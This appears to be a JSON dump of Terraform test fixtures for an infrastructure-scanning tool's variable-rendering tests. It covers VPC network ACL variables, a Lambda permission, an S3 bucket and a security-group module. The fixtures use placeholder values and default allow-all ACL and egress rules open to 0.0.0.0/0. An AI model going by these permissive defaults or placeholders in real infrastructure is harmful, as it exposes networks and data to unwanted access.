default     = false\n}\n\nvariable \"enable_cloudtrail_endpoint\" {\n  description = \"Should be true if you want to provision a CloudTrail endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"cloudtrail_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for CloudTrail endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"cloudtrail_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for CloudTrail endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"cloudtrail_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for CloudTrail endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"map_public_ip_on_launch\" {\n  description = \"Should be false if you do not want to auto-assign public IP on launch\"\n  type        = bool\n  default     = true\n}\n\nvariable \"enable_vpn_gateway\" {\n  description = \"Should be true if you want to create a new VPN Gateway resource and attach it to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"vpn_gateway_id\" {\n  description = \"ID of VPN Gateway to attach to the VPC\"\n  default     = \"\"\n}\n\nvariable \"amazon_side_asn\" {\n  description = \"The Autonomous System Number (ASN) for the Amazon side of the gateway. By default the virtual private gateway is created with the current default Amazon ASN.\"\n  default     = \"64512\"\n}\n\nvariable \"propagate_private_route_tables_vgw\" {\n  description = \"Should be true if you want route table propagation\"\n  type        = bool\n  default     = false\n}\n\nvariable \"propagate_public_route_tables_vgw\" {\n  description = \"Should be true if you want route table propagation\"\n  type        = bool\n  default     = false\n}\n\nvariable \"tags\" {\n  description = \"A map of tags to add to all resources\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"vpc_tags\" {\n  description = \"Additional tags for the VPC\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"igw_tags\" {\n  description = \"Additional tags for the internet gateway\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"public_subnet_tags\" {\n  description = \"Additional tags for the public subnets\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"private_subnet_tags\" {\n  description = \"Additional tags for the private subnets\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"public_route_table_tags\" {\n  description = \"Additional tags for the public route tables\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"private_route_table_tags\" {\n  description = \"Additional tags for the private route tables\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"database_route_table_tags\" {\n  description = \"Additional tags for the database route tables\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"redshift_route_table_tags\" {\n  description = \"Additional tags for the redshift route tables\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"elasticache_route_table_tags\" {\n  description = \"Additional tags for the elasticache route tables\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"intra_route_table_tags\" {\n  description = \"Additional tags for the intra route tables\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"database_subnet_tags\" {\n  description = \"Additional tags for the database subnets\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"database_subnet_group_tags\" {\n  description = \"Additional tags for the database subnet group\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"redshift_subnet_tags\" {\n  description = \"Additional tags for the redshift subnets\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"redshift_subnet_group_tags\" {\n  description = \"Additional tags for the redshift subnet group\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"elasticache_subnet_tags\" {\n  description = \"Additional tags for the elasticache subnets\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"intra_subnet_tags\" {\n  description = \"Additional tags for the intra subnets\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"public_acl_tags\" {\n  description = \"Additional tags for the public subnets network ACL\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"private_acl_tags\" {\n  description = \"Additional tags for the private subnets network ACL\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"intra_acl_tags\" {\n  description = \"Additional tags for the intra subnets network ACL\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"database_acl_tags\" {\n  description = \"Additional tags for the database subnets network ACL\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"redshift_acl_tags\" {\n  description = \"Additional tags for the redshift subnets network ACL\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"elasticache_acl_tags\" {\n  description = \"Additional tags for the elasticache subnets network ACL\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"dhcp_options_tags\" {\n  description = \"Additional tags for the DHCP option set (requires enable_dhcp_options set to true)\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"nat_gateway_tags\" {\n  description = \"Additional tags for the NAT gateways\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"nat_eip_tags\" {\n  description = \"Additional tags for the NAT EIP\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"vpn_gateway_tags\" {\n  description = \"Additional tags for the VPN gateway\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"enable_dhcp_options\" {\n  description = \"Should be true if you want to specify a DHCP options set with a custom domain name, DNS servers, NTP servers, netbios servers, and/or netbios server type\"\n  type        = bool\n  default     = false\n}\n\nvariable \"dhcp_options_domain_name\" {\n  description = \"Specifies DNS name for DHCP options set (requires enable_dhcp_options set to true)\"\n  type        = string\n  default     = \"\"\n}\n\nvariable \"dhcp_options_domain_name_servers\" {\n  description = \"Specify a list of DNS server addresses for DHCP options set, default to AWS provided (requires enable_dhcp_options set to true)\"\n  type        = list(string)\n  default     = [\"AmazonProvidedDNS\"]\n}\n\nvariable \"dhcp_options_ntp_servers\" {\n  description = \"Specify a list of NTP servers for DHCP options set (requires enable_dhcp_options set to true)\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"dhcp_options_netbios_name_servers\" {\n  description = \"Specify a list of netbios servers for DHCP options set (requires enable_dhcp_options set to true)\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"dhcp_options_netbios_node_type\" {\n  description = \"Specify netbios node_type for DHCP options set (requires enable_dhcp_options set to true)\"\n  type        = string\n  default     = \"\"\n}\n\nvariable \"manage_default_vpc\" {\n  description = \"Should be true to adopt and manage Default VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"default_vpc_name\" {\n  description = \"Name to be used on the Default VPC\"\n  type        = string\n  default     = \"\"\n}\n\nvariable \"default_vpc_enable_dns_support\" {\n  description = \"Should be true to enable DNS support in the Default VPC\"\n  type        = bool\n  default     = true\n}\n\nvariable \"default_vpc_enable_dns_hostnames\" {\n  description = \"Should be true to enable DNS hostnames in the Default VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"default_vpc_enable_classiclink\" {\n  description = \"Should be true to enable ClassicLink in the Default VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"default_vpc_tags\" {\n  description = \"Additional tags for the Default VPC\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"manage_default_network_acl\" {\n  description = \"Should be true to adopt and manage Default Network ACL\"\n  type        = bool\n  default     = false\n}\n\nvariable \"default_network_acl_name\" {\n  description = \"Name to be used on the Default Network ACL\"\n  type        = string\n  default     = \"\"\n}\n\nvariable \"default_network_acl_tags\" {\n  description = \"Additional tags for the Default Network ACL\"\n  type        = map(string)\n  default     = {}\n}\n\nvariable \"public_dedicated_network_acl\" {\n  description = \"Whether to use dedicated network ACL (not default) and custom rules for public subnets\"\n  type        = bool\n  default     = false\n}\n\nvariable \"private_dedicated_network_acl\" {\n  description = \"Whether to use dedicated network ACL (not default) and custom rules for private subnets\"\n  type        = bool\n  default     = false\n}\n\nvariable \"intra_dedicated_network_acl\" {\n  description = \"Whether to use dedicated network ACL (not default) and custom rules for intra subnets\"\n  type        = bool\n  default     = false\n}\n\nvariable \"database_dedicated_network_acl\" {\n  description = \"Whether to use dedicated network ACL (not default) and custom rules for database subnets\"\n  type        = bool\n  default     = false\n}\n\nvariable \"redshift_dedicated_network_acl\" {\n  description = \"Whether to use dedicated network ACL (not default) and custom rules for redshift subnets\"\n  type        = bool\n  default     = false\n}\n\nvariable \"elasticache_dedicated_network_acl\" {\n  description = \"Whether to use dedicated network ACL (not default) and custom rules for elasticache subnets\"\n  type        = bool\n  default     = false\n}\n\nvariable \"default_network_acl_ingress\" {\n  description = \"List of maps of ingress rules to set on the Default Network ACL\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_no    = 100\n      action     = \"allow\"\n      from_port  = 0\n      to_port    = 0\n      protocol   = \"-1\"\n      cidr_block = \"0.0.0.0/0\"\n    },\n    {\n      rule_no         = 101\n      action          = \"allow\"\n      from_port       = 0\n      to_port         = 0\n      protocol        = \"-1\"\n      ipv6_cidr_block = \"::/0\"\n    },\n  ]\n}\n\nvariable \"default_network_acl_egress\" {\n  description = \"List of maps of egress rules to set on the Default Network ACL\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_no    = 100\n      action     = \"allow\"\n      from_port  = 0\n      to_port    = 0\n      protocol   = \"-1\"\n      cidr_block = \"0.0.0.0/0\"\n    },\n    {\n      rule_no         = 101\n      action          = \"allow\"\n      from_port       = 0\n      to_port         = 0\n      protocol        = \"-1\"\n      ipv6_cidr_block = \"::/0\"\n    },\n  ]\n}\n\nvariable \"public_inbound_acl_rules\" {\n  description = \"Public subnets inbound network ACLs\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"public_outbound_acl_rules\" {\n  description = \"Public subnets outbound network ACLs\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"private_inbound_acl_rules\" {\n  description = \"Private subnets inbound network ACLs\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"private_outbound_acl_rules\" {\n  description = \"Private subnets outbound network ACLs\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"intra_inbound_acl_rules\" {\n  description = \"Intra subnets inbound network ACLs\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"intra_outbound_acl_rules\" {\n  description = \"Intra subnets outbound network ACLs\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"database_inbound_acl_rules\" {\n  description = \"Database subnets inbound network ACL rules\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"database_outbound_acl_rules\" {\n  description = \"Database subnets outbound network ACL rules\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"redshift_inbound_acl_rules\" {\n  description = \"Redshift subnets inbound network ACL rules\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"redshift_outbound_acl_rules\" {\n  description = \"Redshift subnets outbound network ACL rules\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"elasticache_inbound_acl_rules\" {\n  description = \"Elasticache subnets inbound network ACL rules\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\nvariable \"elasticache_outbound_acl_rules\" {\n  description = \"Elasticache subnets outbound network ACL rules\"\n  type        = list(map(string))\n\n  default = [\n    {\n      rule_number = 100\n      rule_action = \"allow\"\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      cidr_block  = \"0.0.0.0/0\"\n    },\n  ]\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_lambda/main.tf",
    "content": "resource \"aws_lambda_permission\" \"test_lambda_permissions\" {\n  count         = length([])\n  statement_id  = \"test_statement_id\"\n  action        = var.action\n  function_name = \"my-func\"\n  principal     = \"dumbeldor\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_lambda/variables.tf",
    "content": "variable \"action\" {\n  description = \"Action for the Lambda permission\"\n  type        = string\n  default     = \"lambda:InvokeFunction\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_local/main.tf",
    "content": "locals {\n  bucket_name          = \"test_bucket_name\"\n}\n\nresource \"aws_s3_bucket\" \"template_bucket\" {\n  region        = \"us-west-2\"\n  bucket        = local.bucket_name\n  acl           = \"acl\"\n  force_destroy = true\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_local_from_variable/main.tf",
    "content": "locals {\n  bucket_name          = var.var_bucket_name\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_local_from_variable/variables.tf",
    "content": "variable \"var_bucket_name\" {\n  default = \"test_bucket_name\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_module_postgresql/auto_values.tf",
    "content": "# This file was generated from values defined in rules.tf using update_groups.sh.\n###################################\n# DO NOT CHANGE THIS FILE MANUALLY\n###################################\n\nvariable \"auto_ingress_rules\" {\n  description = \"List of ingress rules to add automatically\"\n  type        = list(string)\n  default     = [\"postgresql-tcp\"]\n}\n\nvariable \"auto_ingress_with_self\" {\n  description = \"List of maps defining ingress rules with self to add automatically\"\n  type        = list(map(string))\n  default     = [{ rule = \"all-all\" }]\n}\n\nvariable \"auto_egress_rules\" {\n  description = \"List of egress rules to add automatically\"\n  type        = list(string)\n  default     = [\"all-all\"]\n}\n\nvariable \"auto_egress_with_self\" {\n  description = \"List of maps defining egress rules with self to add automatically\"\n  type        = list(map(string))\n  default     = []\n}\n\n# Computed\nvariable \"auto_computed_ingress_rules\" {\n  description = \"List of ingress rules to add automatically\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"auto_computed_ingress_with_self\" {\n  description = \"List of maps defining computed ingress rules with self to add automatically\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"auto_computed_egress_rules\" {\n  description = \"List of computed egress rules to add automatically\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"auto_computed_egress_with_self\" {\n  description = \"List of maps defining computed egress rules with self to add automatically\"\n  type        = list(map(string))\n  default     = []\n}\n\n# Number of computed rules\nvariable \"auto_number_of_computed_ingress_rules\" {\n  description = \"Number of computed ingress rules to create by name\"\n  type        = number\n  default     = 0\n}\n\nvariable \"auto_number_of_computed_ingress_with_self\" {\n  description = \"Number of computed ingress rules to create where 'self' is defined\"\n  type        = number\n  default     = 0\n}\n\nvariable \"auto_number_of_computed_egress_rules\" {\n  description = \"Number of computed egress rules to create by name\"\n  type        = number\n  default     = 0\n}\n\nvariable \"auto_number_of_computed_egress_with_self\" {\n  description = \"Number of computed egress rules to create where 'self' is defined\"\n  type        = number\n  default     = 0\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_module_postgresql/main.tf",
    "content": "module \"sg\" {\n  source = \"\"\n\n  create                 = var.create\n  name                   = var.name\n  use_name_prefix        = var.use_name_prefix\n  description            = var.description\n  vpc_id                 = var.vpc_id\n  revoke_rules_on_delete = var.revoke_rules_on_delete\n  tags                   = var.tags\n\n  ##########\n  # Ingress\n  ##########\n  # Rules by names - open for default CIDR\n  ingress_rules = sort(compact(distinct(concat(var.auto_ingress_rules, var.ingress_rules, [\"\"]))))\n\n  # Open for self\n  ingress_with_self = concat(var.auto_ingress_with_self, var.ingress_with_self)\n\n  # Open to IPv4 cidr blocks\n  ingress_with_cidr_blocks = var.ingress_with_cidr_blocks\n\n  # Open to IPv6 cidr blocks\n  ingress_with_ipv6_cidr_blocks = var.ingress_with_ipv6_cidr_blocks\n\n  # Open for security group id\n  ingress_with_source_security_group_id = var.ingress_with_source_security_group_id\n\n  # Default ingress CIDR blocks\n  ingress_cidr_blocks      = var.ingress_cidr_blocks\n  ingress_ipv6_cidr_blocks = var.ingress_ipv6_cidr_blocks\n\n  # Default prefix list ids\n  ingress_prefix_list_ids = var.ingress_prefix_list_ids\n\n  ###################\n  # Computed Ingress\n  ###################\n  # Rules by names - open for default CIDR\n  computed_ingress_rules = sort(compact(distinct(concat(var.auto_computed_ingress_rules, var.computed_ingress_rules, [\"\"]))))\n\n  # Open for self\n  computed_ingress_with_self = concat(var.auto_computed_ingress_with_self, var.computed_ingress_with_self)\n\n  # Open to IPv4 cidr blocks\n  computed_ingress_with_cidr_blocks = var.computed_ingress_with_cidr_blocks\n\n  # Open to IPv6 cidr blocks\n  computed_ingress_with_ipv6_cidr_blocks = var.computed_ingress_with_ipv6_cidr_blocks\n\n  # Open for security group id\n  computed_ingress_with_source_security_group_id = var.computed_ingress_with_source_security_group_id\n\n  #############################\n  # Number of computed ingress\n  #############################\n  number_of_computed_ingress_rules                         = var.auto_number_of_computed_ingress_rules + var.number_of_computed_ingress_rules\n  number_of_computed_ingress_with_self                     = var.auto_number_of_computed_ingress_with_self + var.number_of_computed_ingress_with_self\n  number_of_computed_ingress_with_cidr_blocks              = var.number_of_computed_ingress_with_cidr_blocks\n  number_of_computed_ingress_with_ipv6_cidr_blocks         = var.number_of_computed_ingress_with_ipv6_cidr_blocks\n  number_of_computed_ingress_with_source_security_group_id = var.number_of_computed_ingress_with_source_security_group_id\n\n  #########\n  # Egress\n  #########\n  # Rules by names - open for default CIDR\n  egress_rules = sort(compact(distinct(concat(var.auto_egress_rules, var.egress_rules, [\"\"]))))\n\n  # Open for self\n  egress_with_self = concat(var.auto_egress_with_self, var.egress_with_self)\n\n  # Open to IPv4 cidr blocks\n  egress_with_cidr_blocks = var.egress_with_cidr_blocks\n\n  # Open to IPv6 cidr blocks\n  egress_with_ipv6_cidr_blocks = var.egress_with_ipv6_cidr_blocks\n\n  # Open for security group id\n  egress_with_source_security_group_id = var.egress_with_source_security_group_id\n\n  # Default egress CIDR blocks\n  egress_cidr_blocks      = var.egress_cidr_blocks\n  egress_ipv6_cidr_blocks = var.egress_ipv6_cidr_blocks\n\n  # Default prefix list ids\n  egress_prefix_list_ids = var.egress_prefix_list_ids\n\n  ##################\n  # Computed Egress\n  ##################\n  # Rules by names - open for default CIDR\n  computed_egress_rules = sort(compact(distinct(concat(var.auto_computed_egress_rules, var.computed_egress_rules, [\"\"]))))\n\n  # Open for self\n  computed_egress_with_self = concat(var.auto_computed_egress_with_self, var.computed_egress_with_self)\n\n  # Open to IPv4 cidr blocks\n  computed_egress_with_cidr_blocks = var.computed_egress_with_cidr_blocks\n\n  # Open to IPv6 cidr blocks\n  computed_egress_with_ipv6_cidr_blocks = var.computed_egress_with_ipv6_cidr_blocks\n\n  # Open for security group id\n  computed_egress_with_source_security_group_id = var.computed_egress_with_source_security_group_id\n\n  #############################\n  # Number of computed egress\n  #############################\n  number_of_computed_egress_rules                         = var.auto_number_of_computed_egress_rules + var.number_of_computed_egress_rules\n  number_of_computed_egress_with_self                     = var.auto_number_of_computed_egress_with_self + var.number_of_computed_egress_with_self\n  number_of_computed_egress_with_cidr_blocks              = var.number_of_computed_egress_with_cidr_blocks\n  number_of_computed_egress_with_ipv6_cidr_blocks         = var.number_of_computed_egress_with_ipv6_cidr_blocks\n  number_of_computed_egress_with_source_security_group_id = var.number_of_computed_egress_with_source_security_group_id\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_module_postgresql/outputs.tf",
    "content": "output \"this_security_group_id\" {\n  description = \"The ID of the security group\"\n  value       = module.sg.this_security_group_id\n}\n\noutput \"this_security_group_vpc_id\" {\n  description = \"The VPC ID\"\n  value       = module.sg.this_security_group_vpc_id\n}\n\noutput \"this_security_group_owner_id\" {\n  description = \"The owner ID\"\n  value       = module.sg.this_security_group_owner_id\n}\n\noutput \"this_security_group_name\" {\n  description = \"The name of the security group\"\n  value       = module.sg.this_security_group_name\n}\n\noutput \"this_security_group_description\" {\n  description = \"The description of the security group\"\n  value       = module.sg.this_security_group_description\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_module_postgresql/variables.tf",
    "content": "#################\n# Security group\n#################\nvariable \"create\" {\n  description = \"Whether to create security group and all rules\"\n  type        = bool\n  default     = true\n}\n\nvariable \"vpc_id\" {\n  description = \"ID of the VPC where to create security group\"\n  type        = string\n}\n\nvariable \"name\" {\n  description = \"Name of security group\"\n  type        = string\n}\n\nvariable \"use_name_prefix\" {\n  description = \"Whether to use name_prefix or fixed name. Should be true to able to update security group name after initial creation\"\n  type        = bool\n  default     = true\n}\n\nvariable \"description\" {\n  description = \"Description of security group\"\n  type        = string\n  default     = \"Security Group managed by Terraform\"\n}\n\nvariable \"revoke_rules_on_delete\" {\n  description = \"Instruct Terraform to revoke all of the Security Groups attached ingress and egress rules before deleting the rule itself. Enable for EMR.\"\n  type        = bool\n  default     = false\n}\n\nvariable \"tags\" {\n  description = \"A mapping of tags to assign to security group\"\n  type        = map(string)\n  default     = {}\n}\n\n##########\n# Ingress\n##########\nvariable \"ingress_rules\" {\n  description = \"List of ingress rules to create by name\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ingress_with_self\" {\n  description = \"List of ingress rules to create where 'self' is defined\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"ingress_with_cidr_blocks\" {\n  description = \"List of ingress rules to create where 'cidr_blocks' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"ingress_with_ipv6_cidr_blocks\" {\n  description = \"List of ingress rules to create where 'ipv6_cidr_blocks' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"ingress_with_source_security_group_id\" {\n  description = \"List of ingress rules to create where 'source_security_group_id' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"ingress_cidr_blocks\" {\n  description = \"List of IPv4 CIDR ranges to use on all ingress rules\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ingress_ipv6_cidr_blocks\" {\n  description = \"List of IPv6 CIDR ranges to use on all ingress rules\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ingress_prefix_list_ids\" {\n  description = \"List of prefix list IDs (for allowing access to VPC endpoints) to use on all ingress rules\"\n  type        = list(string)\n  default     = []\n}\n\n###################\n# Computed Ingress\n###################\nvariable \"computed_ingress_rules\" {\n  description = \"List of computed ingress rules to create by name\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"computed_ingress_with_self\" {\n  description = \"List of computed ingress rules to create where 'self' is defined\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"computed_ingress_with_cidr_blocks\" {\n  description = \"List of computed ingress rules to create where 'cidr_blocks' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"computed_ingress_with_ipv6_cidr_blocks\" {\n  description = \"List of computed ingress rules to create where 'ipv6_cidr_blocks' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"computed_ingress_with_source_security_group_id\" {\n  description = \"List of computed ingress rules to create where 'source_security_group_id' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"computed_ingress_cidr_blocks\" {\n  description = \"List of IPv4 CIDR ranges to use on all computed ingress rules\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"computed_ingress_ipv6_cidr_blocks\" {\n  description = \"List of IPv6 CIDR ranges to use on all computed ingress rules\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"computed_ingress_prefix_list_ids\" {\n  description = \"List of prefix list IDs (for allowing access to VPC endpoints) to use on all computed ingress rules\"\n  type        = list(string)\n  default     = []\n}\n\n###################################\n# Number of computed ingress rules\n###################################\nvariable \"number_of_computed_ingress_rules\" {\n  description = \"Number of computed ingress rules to create by name\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_ingress_with_self\" {\n  description = \"Number of computed ingress rules to create where 'self' is defined\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_ingress_with_cidr_blocks\" {\n  description = \"Number of computed ingress rules to create where 'cidr_blocks' is used\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_ingress_with_ipv6_cidr_blocks\" {\n  description = \"Number of computed ingress rules to create where 'ipv6_cidr_blocks' is used\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_ingress_with_source_security_group_id\" {\n  description = \"Number of computed ingress rules to create where 'source_security_group_id' is used\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_ingress_cidr_blocks\" {\n  description = \"Number of IPv4 CIDR ranges to use on all computed ingress rules\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_ingress_ipv6_cidr_blocks\" {\n  description = \"Number of IPv6 CIDR ranges to use on all computed ingress rules\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_ingress_prefix_list_ids\" {\n  description = \"Number of prefix list IDs (for allowing access to VPC endpoints) to use on all computed ingress rules\"\n  type        = number\n  default     = 0\n}\n\n#########\n# Egress\n#########\nvariable \"egress_rules\" {\n  description = \"List of egress rules to create by name\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"egress_with_self\" {\n  description = \"List of egress rules to create where 'self' is defined\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"egress_with_cidr_blocks\" {\n  description = \"List of egress rules to create where 'cidr_blocks' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"egress_with_ipv6_cidr_blocks\" {\n  description = \"List of egress rules to create where 'ipv6_cidr_blocks' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"egress_with_source_security_group_id\" {\n  description = \"List of egress rules to create where 'source_security_group_id' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"egress_cidr_blocks\" {\n  description = \"List of IPv4 CIDR ranges to use on all egress rules\"\n  type        = list(string)\n  default     = [\"0.0.0.0/0\"]\n}\n\nvariable \"egress_ipv6_cidr_blocks\" {\n  description = \"List of IPv6 CIDR ranges to use on all egress rules\"\n  type        = list(string)\n  default     = [\"::/0\"]\n}\n\nvariable \"egress_prefix_list_ids\" {\n  description = \"List of prefix list IDs (for allowing access to VPC endpoints) to use on all egress rules\"\n  type        = list(string)\n  default     = []\n}\n\n##################\n# Computed Egress\n##################\nvariable \"computed_egress_rules\" {\n  description = \"List of computed egress rules to create by name\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"computed_egress_with_self\" {\n  description = \"List of computed egress rules to create where 'self' is defined\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"computed_egress_with_cidr_blocks\" {\n  description = \"List of computed egress rules to create where 'cidr_blocks' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"computed_egress_with_ipv6_cidr_blocks\" {\n  description = \"List of computed egress rules to create where 'ipv6_cidr_blocks' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"computed_egress_with_source_security_group_id\" {\n  description = \"List of computed egress rules to create where 'source_security_group_id' is used\"\n  type        = list(map(string))\n  default     = []\n}\n\nvariable \"computed_egress_cidr_blocks\" {\n  description = \"List of IPv4 CIDR ranges to use on all computed egress rules\"\n  type        = list(string)\n  default     = [\"0.0.0.0/0\"]\n}\n\nvariable \"computed_egress_ipv6_cidr_blocks\" {\n  description = \"List of IPv6 CIDR ranges to use on all computed egress rules\"\n  type        = list(string)\n  default     = [\"::/0\"]\n}\n\nvariable \"computed_egress_prefix_list_ids\" {\n  description = \"List of prefix list IDs (for allowing access to VPC endpoints) to use on all computed egress rules\"\n  type        = list(string)\n  default     = []\n}\n\n##################################\n# Number of computed egress rules\n##################################\nvariable \"number_of_computed_egress_rules\" {\n  description = \"Number of computed egress rules to create by name\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_egress_with_self\" {\n  description = \"Number of computed egress rules to create where 'self' is defined\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_egress_with_cidr_blocks\" {\n  description = \"Number of computed egress rules to create where 'cidr_blocks' is used\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_egress_with_ipv6_cidr_blocks\" {\n  description = \"Number of computed egress rules to create where 'ipv6_cidr_blocks' is used\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_egress_with_source_security_group_id\" {\n  description = \"Number of computed egress rules to create where 'source_security_group_id' is used\"\n  type        = number\n  default     = 